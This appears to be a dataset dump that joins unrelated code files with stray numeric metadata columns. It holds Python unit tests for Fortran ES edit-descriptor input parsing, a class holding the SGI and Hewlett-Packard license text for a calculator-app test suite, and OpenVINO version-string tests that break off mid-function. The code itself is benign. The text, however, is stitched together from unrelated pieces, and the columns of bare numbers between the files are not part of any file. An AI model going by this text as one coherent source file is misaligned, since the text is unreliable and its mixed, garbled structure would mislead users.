_parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_82(self): inp = '''-1.96e-16''' fmt = '''(ES5.5E5)''' result = [-1.9600000000000000e+00] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_83(self): inp = '''3.14159''' fmt = '''(ES5.5E5)''' result = [3.1410000000000000e+00] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_84(self): inp = '''- 1.0''' fmt = '''(ES5.5E5)''' result = [0.0000000000000000e+00] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_85(self): inp = '''1e12''' fmt = '''(ES5.5E5)''' result = [1.0000000000000000e+07] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_86(self): inp = '''1E12''' fmt = '''(ES5.5E5)''' result = [1.0000000000000000e+07] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_87(self): inp = '''-1 e12''' fmt = '''(ES5.5E5)''' result = [-1.0000000000000001e-05] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_88(self): inp = '''.''' fmt = '''(ES5.5E5)''' result = [0.0000000000000000e+00] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_89(self): inp = '''.1''' fmt = '''(ES5.5E5)''' result = [1.0000000000000001e-01] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_90(self): inp = '''0.1D+200''' fmt = '''(ES5.5E5)''' result = [1.0000000000000001e-01] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_91(self): inp = '''3.''' fmt = '''(ES10.5E5)''' result = [3.0000000000000000e+00] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_92(self): inp = '''-3.''' fmt = '''(ES10.5E5)''' result = [-3.0000000000000000e+00] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_93(self): inp = '''10.''' fmt = '''(ES10.5E5)''' result = [1.0000000000000000e+01] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_94(self): inp = '''-10.''' fmt = '''(ES10.5E5)''' result = [-1.0000000000000000e+01] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_95(self): inp = '''100.''' fmt = '''(ES10.5E5)''' result = [1.0000000000000000e+02] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_96(self): inp = '''-100.''' fmt = '''(ES10.5E5)''' result = [-1.0000000000000000e+02] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_97(self): inp = '''1000.''' fmt = '''(ES10.5E5)''' result = [1.0000000000000000e+03] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_98(self): inp = '''-1000.''' fmt = '''(ES10.5E5)''' result = [-1.0000000000000000e+03] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_99(self): inp = '''10000.''' fmt = '''(ES10.5E5)''' result = [1.0000000000000000e+04] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_100(self): inp = '''-10000.''' fmt = '''(ES10.5E5)''' result = [-1.0000000000000000e+04] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_101(self): inp = '''100000.''' fmt = '''(ES10.5E5)''' result = [1.0000000000000000e+05] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_102(self): inp = '''-100000.''' fmt = '''(ES10.5E5)''' result = [-1.0000000000000000e+05] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_103(self): inp = '''123456789.''' fmt = '''(ES10.5E5)''' result = [1.2345678900000000e+08] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_104(self): inp = '''0.1''' fmt = '''(ES10.5E5)''' result = [1.0000000000000001e-01] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_105(self): inp = '''-0.1''' fmt = '''(ES10.5E5)''' result = [-1.0000000000000001e-01] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_106(self): inp = '''0.01''' fmt = '''(ES10.5E5)''' result = [1.0000000000000000e-02] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_107(self): inp = '''-0.01''' fmt = '''(ES10.5E5)''' result = [-1.0000000000000000e-02] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_108(self): inp = '''0.001''' fmt = '''(ES10.5E5)''' result = [1.0000000000000000e-03] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_109(self): inp = '''-0.001''' fmt = '''(ES10.5E5)''' result = [-1.0000000000000000e-03] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_110(self): inp = '''0.0001''' fmt = '''(ES10.5E5)''' result = [1.0000000000000000e-04] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_111(self): inp = '''-0.0001''' fmt = '''(ES10.5E5)''' result = [-1.0000000000000000e-04] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_112(self): inp = '''-1.96e-16''' fmt = '''(ES10.5E5)''' result = [-1.9600000000000000e-16] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_113(self): inp = '''3.14159''' fmt = '''(ES10.5E5)''' result = [3.1415899999999999e+00] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_114(self): inp = '''- 1.0''' fmt = '''(ES10.5E5)''' result = [-1.0000000000000000e+00] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_115(self): inp = '''1e12''' fmt = '''(ES10.5E5)''' result = [1.0000000000000000e+07] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_116(self): inp = '''1E12''' fmt = '''(ES10.5E5)''' result = [1.0000000000000000e+07] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_117(self): inp = '''-1 e12''' fmt = '''(ES10.5E5)''' result = [-1.0000000000000000e+07] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_118(self): inp = '''.''' fmt = '''(ES10.5E5)''' result = [0.0000000000000000e+00] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_119(self): inp = '''.1''' fmt = '''(ES10.5E5)''' result = [1.0000000000000001e-01] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_120(self): inp = '''0.1D+200''' fmt = '''(ES10.5E5)''' result = [1.0000000000000001e+199] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_121(self): inp = '''3.''' fmt = '''(ES10.10E5)''' result = [3.0000000000000000e+00] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_122(self): inp = '''-3.''' fmt = '''(ES10.10E5)''' result = [-3.0000000000000000e+00] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_123(self): inp = '''10.''' fmt = '''(ES10.10E5)''' result = [1.0000000000000000e+01] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_124(self): inp = '''-10.''' fmt = '''(ES10.10E5)''' result = [-1.0000000000000000e+01] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_125(self): inp = '''100.''' fmt = '''(ES10.10E5)''' result = [1.0000000000000000e+02] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_126(self): inp = '''-100.''' fmt = '''(ES10.10E5)''' result = [-1.0000000000000000e+02] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_127(self): inp = '''1000.''' fmt = '''(ES10.10E5)''' result = [1.0000000000000000e+03] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_128(self): inp = '''-1000.''' fmt = '''(ES10.10E5)''' result = [-1.0000000000000000e+03] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_129(self): inp = '''10000.''' fmt = '''(ES10.10E5)''' result = [1.0000000000000000e+04] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_130(self): inp = '''-10000.''' fmt = '''(ES10.10E5)''' result = [-1.0000000000000000e+04] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_131(self): inp = '''100000.''' fmt = '''(ES10.10E5)''' result = [1.0000000000000000e+05] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_132(self): inp = '''-100000.''' fmt = '''(ES10.10E5)''' result = [-1.0000000000000000e+05] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_133(self): inp = '''123456789.''' fmt = '''(ES10.10E5)''' result = [1.2345678900000000e+08] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_134(self): inp = '''0.1''' fmt = '''(ES10.10E5)''' result = [1.0000000000000001e-01] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_135(self): inp = '''-0.1''' fmt = '''(ES10.10E5)''' result = [-1.0000000000000001e-01] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_136(self): inp = '''0.01''' fmt = '''(ES10.10E5)''' result = [1.0000000000000000e-02] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_137(self): inp = '''-0.01''' fmt = '''(ES10.10E5)''' result = [-1.0000000000000000e-02] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_138(self): inp = '''0.001''' fmt = '''(ES10.10E5)''' result = [1.0000000000000000e-03] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_139(self): inp = '''-0.001''' fmt = '''(ES10.10E5)''' result = [-1.0000000000000000e-03] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_140(self): inp = '''0.0001''' fmt = '''(ES10.10E5)''' result = [1.0000000000000000e-04] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_141(self): inp = '''-0.0001''' fmt = '''(ES10.10E5)''' result = [-1.0000000000000000e-04] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_142(self): inp = '''-1.96e-16''' fmt = '''(ES10.10E5)''' result = [-1.9600000000000000e-16] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_143(self): inp = '''3.14159''' fmt = '''(ES10.10E5)''' result = [3.1415899999999999e+00] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_144(self): inp = '''- 1.0''' fmt = '''(ES10.10E5)''' result = [-1.0000000000000000e+00] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_145(self): inp = '''1e12''' fmt = '''(ES10.10E5)''' result = [1.0000000000000000e+02] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_146(self): inp = '''1E12''' fmt = '''(ES10.10E5)''' result = [1.0000000000000000e+02] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_147(self): inp = '''-1 e12''' fmt = '''(ES10.10E5)''' result = [-1.0000000000000000e+02] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_148(self): inp = '''.''' fmt = '''(ES10.10E5)''' result = [0.0000000000000000e+00] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_149(self): inp = '''.1''' fmt = '''(ES10.10E5)''' result = [1.0000000000000001e-01] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) if __name__ == '__main__': unittest.main()
31.467507
59
0.565001
6,229
47,453
4.038851
0.036282
0.071071
0.106606
0.082916
0.970665
0.962318
0.951546
0.945027
0.938429
0.937555
0
0.128276
0.249889
47,453
1,508
60
31.467507
0.578508
0.000906
0
0.879438
0
0
0.1169
0
0
0
0
0
0.110207
1
0.110207
false
0
0.005917
0
0.116864
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
f03812a574c5b177fe59a4a442c718529843dbe0
4,363
py
Python
tests/android_native/calculator_tests/open_source_license.py
ikostan/TEST_AUTOMATION_FRAMEWORK_USING_APPIUM_WITH_PYTHON
f7f443f438e1272ecb9927c61360d3eb9ce0db57
[ "Unlicense" ]
1
2019-08-30T22:46:01.000Z
2019-08-30T22:46:01.000Z
tests/android_native/calculator_tests/open_source_license.py
ikostan/TEST_AUTOMATION_FRAMEWORK_USING_APPIUM_WITH_PYTHON
f7f443f438e1272ecb9927c61360d3eb9ce0db57
[ "Unlicense" ]
null
null
null
tests/android_native/calculator_tests/open_source_license.py
ikostan/TEST_AUTOMATION_FRAMEWORK_USING_APPIUM_WITH_PYTHON
f7f443f438e1272ecb9927c61360d3eb9ce0db57
[ "Unlicense" ]
3
2020-05-27T10:18:48.000Z
2022-03-04T11:34:56.000Z
"""Open Source License text class""" # Created by Egor Kostan. # GitHub: https://github.com/ikostan # LinkedIn: https://www.linkedin.com/in/egor-kostan/ class FullLicenseText: """ Holds Open Source License text for Calculator App """ text = "Copyright (c) 1999, Silicon Graphics, Inc. -- ALL RIGHTS RESERVED\n" \ "\nPermission is granted free of charge to copy, modify, use and distribute this software provided you include the entirety of this notice in all copies made.\n" \ "\nTHIS SOFTWARE IS PROVIDED ON AN AS IS BASIS, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE SUBJECT SOFTWARE IS FREE OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. SGI ASSUMES NO RISK AS TO THE QUALITY AND PERFORMANCE OF THE SOFTWARE. SHOULD THE SOFTWARE PROVE DEFECTIVE IN ANY RESPECT, SGI ASSUMES NO COST OR LIABILITY FOR ANY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF ANY SUBJECT SOFTWARE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.\n" \ "\nUNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING, WITHOUT LIMITATION, NEGLIGENCE OR STRICT LIABILITY), CONTRACT, OR OTHERWISE, SHALL SGI BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER WITH RESPECT TO THE SOFTWARE INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, LOSS OF DATA, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SGI SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY RESULTING FROM SGI's NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THAT EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.\n" \ "\nThese license terms shall be governed by and construed in accordance with the laws of the United States and the State of California as applied to agreements entered into and to be performed entirely within California between California residents. Any litigation relating to these license terms shall be subject to the exclusive jurisdiction of the Federal Courts of the Northern District of California (or, absent subject matter jurisdiction in such courts, the courts of the State of California), with venue lying exclusively in Santa Clara County, California.\n" \ "\nCopyright (c) 2001-2004, Hewlett-Packard Development Company, L.P.\n" \ "\nPermission is granted free of charge to copy, modify, use and distribute this software provided you include the entirety of this notice in all copies made.\n" \ "\nTHIS SOFTWARE IS PROVIDED ON AN AS IS BASIS, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE SUBJECT SOFTWARE IS FREE OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. HEWLETT-PACKARD ASSUMES NO RISK AS TO THE QUALITY AND PERFORMANCE OF THE SOFTWARE. SHOULD THE SOFTWARE PROVE DEFECTIVE IN ANY RESPECT, HEWLETT-PACKARD ASSUMES NO COST OR LIABILITY FOR ANY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF ANY SUBJECT SOFTWARE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.\n" \ "\nUNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING, WITHOUT LIMITATION, NEGLIGENCE OR STRICT LIABILITY), CONTRACT, OR OTHERWISE, SHALL HEWLETT-PACKARD BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER WITH RESPECT TO THE SOFTWARE INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, LOSS OF DATA, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF HEWLETT-PACKARD SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY RESULTING FROM HEWLETT-PACKARD's NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THAT EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU."
198.318182
887
0.79074
648
4,363
5.324074
0.311728
0.011594
0.045217
0.037101
0.758261
0.758261
0.758261
0.758261
0.758261
0.758261
0
0.003299
0.16617
4,363
21
888
207.761905
0.945025
0.044465
0
0.2
0
0.7
0.964355
0
0
0
0
0
0
1
0
false
0
0
0
0.2
0
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
1
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
f05b501befc7cf62d9f34c82cdafe72c423ed6a8
4,776
py
Python
tools/mo/unit_tests/mo/utils/version_test.py
ryanloney/openvino-1
4e0a740eb3ee31062ba0df88fcf438564f67edb7
[ "Apache-2.0" ]
1,127
2018-10-15T14:36:58.000Z
2020-04-20T09:29:44.000Z
tools/mo/unit_tests/mo/utils/version_test.py
ryanloney/openvino-1
4e0a740eb3ee31062ba0df88fcf438564f67edb7
[ "Apache-2.0" ]
439
2018-10-20T04:40:35.000Z
2020-04-19T05:56:25.000Z
tools/mo/unit_tests/mo/utils/version_test.py
ryanloney/openvino-1
4e0a740eb3ee31062ba0df88fcf438564f67edb7
[ "Apache-2.0" ]
414
2018-10-17T05:53:46.000Z
2020-04-16T17:29:53.000Z
# Copyright (C) 2018-2022 Intel Corporation # SPDX-License-Identifier: Apache-2.0 import unittest import unittest.mock as mock from unittest.mock import mock_open from unittest.mock import patch from openvino.tools.mo.utils.version import get_version, extract_release_version, get_simplified_ie_version, \ get_simplified_mo_version, extract_hash_from_version class TestingVersion(unittest.TestCase): @patch('os.path.isfile') @mock.patch('builtins.open', new_callable=mock_open, create=True, read_data='2021.1.0-1028-55e4d5673a8') def test_get_version(self, mock_open, mock_isfile): mock_isfile.return_value = True mock_open.return_value.__enter__ = mock_open self.assertEqual(get_version(), '2021.1.0-1028-55e4d5673a8') @patch('os.path.isfile') @mock.patch('builtins.open', new_callable=mock_open, create=True, read_data='2021.1.0-1028-55e4d5673a8') def test_release_version_extractor(self, mock_open, mock_isfile): mock_isfile.return_value = True mock_open.return_value.__enter__ = mock_open self.assertEqual(extract_release_version(get_version()), ('2021', '1')) @patch('os.path.isfile') @mock.patch('builtins.open', new_callable=mock_open, create=True, read_data='custom_releases/2021/1_55e4d5673a8') def test_custom_release_version_extractor(self, mock_open, mock_isfile): mock_isfile.return_value = True mock_open.return_value.__enter__ = mock_open self.assertEqual(extract_release_version(get_version()), ('2021', '1')) @patch('os.path.isfile') @mock.patch('builtins.open', new_callable=mock_open, create=True, read_data='custom_my_branch/fix_55e4d5673a8') def test_release_version_extractor_neg(self, mock_open, mock_isfile): mock_isfile.return_value = True mock_open.return_value.__enter__ = mock_open self.assertEqual(extract_release_version(get_version()), (None, None)) @patch('os.path.isfile') @mock.patch('builtins.open', new_callable=mock_open, create=True, read_data='custom_releases/2021/1_55e4d5673a8') def test_simplify_mo_version_release(self, mock_open, mock_isfile): mock_isfile.return_value = True mock_open.return_value.__enter__ = mock_open self.assertEqual(get_simplified_mo_version(), "2021.1") @patch('os.path.isfile') @mock.patch('builtins.open', new_callable=mock_open, create=True, read_data='custom_my_branch/fix_55e4d5673a8') def test_simplify_mo_version_custom(self, mock_open, mock_isfile): mock_isfile.return_value = True mock_open.return_value.__enter__ = mock_open self.assertEqual(get_simplified_mo_version(), "custom") def test_simplify_ie_version_release_legacy(self): self.assertEqual(get_simplified_ie_version(version="2.1.custom_releases/2021/3_4c8eae"), "2021.3") def test_simplify_ie_version_release(self): self.assertEqual(get_simplified_ie_version(version="custom_releases/2021/3_4c8eae"), "2021.3") def test_simplify_ie_version_custom_legacy(self): self.assertEqual(get_simplified_ie_version(version="2.1.custom_my/branch/3_4c8eae"), "custom") def test_simplify_ie_version_custom(self): self.assertEqual(get_simplified_ie_version(version="custom_my/branch/3_4c8eae"), "custom") def test_extracting_version_hash_full_with_build_number(self): self.assertEqual(extract_hash_from_version(full_version="2021.1.0-1028-55e4d5673a8"), "55e4d5673a8") def test_extracting_version_hash_full_with_build_number_dirty(self): self.assertEqual(extract_hash_from_version(full_version="2021.1.0-1028-55e4d5673a8-dirty"), "55e4d5673a8") def test_extracting_version_hash_full_with_build_number_private(self): self.assertEqual(extract_hash_from_version(full_version="2021.1.0-1028-55e4d5673a8-private"), "55e4d5673a8") def test_extracting_version_hash_custom_master(self): self.assertEqual(extract_hash_from_version(full_version="custom_master_55e4d5673a833abab638ee9837bc87a0b7c3a043"), "55e4d5673a833abab638ee9837bc87a0b7c3a043") def test_extracting_version_hash_mo_format(self): 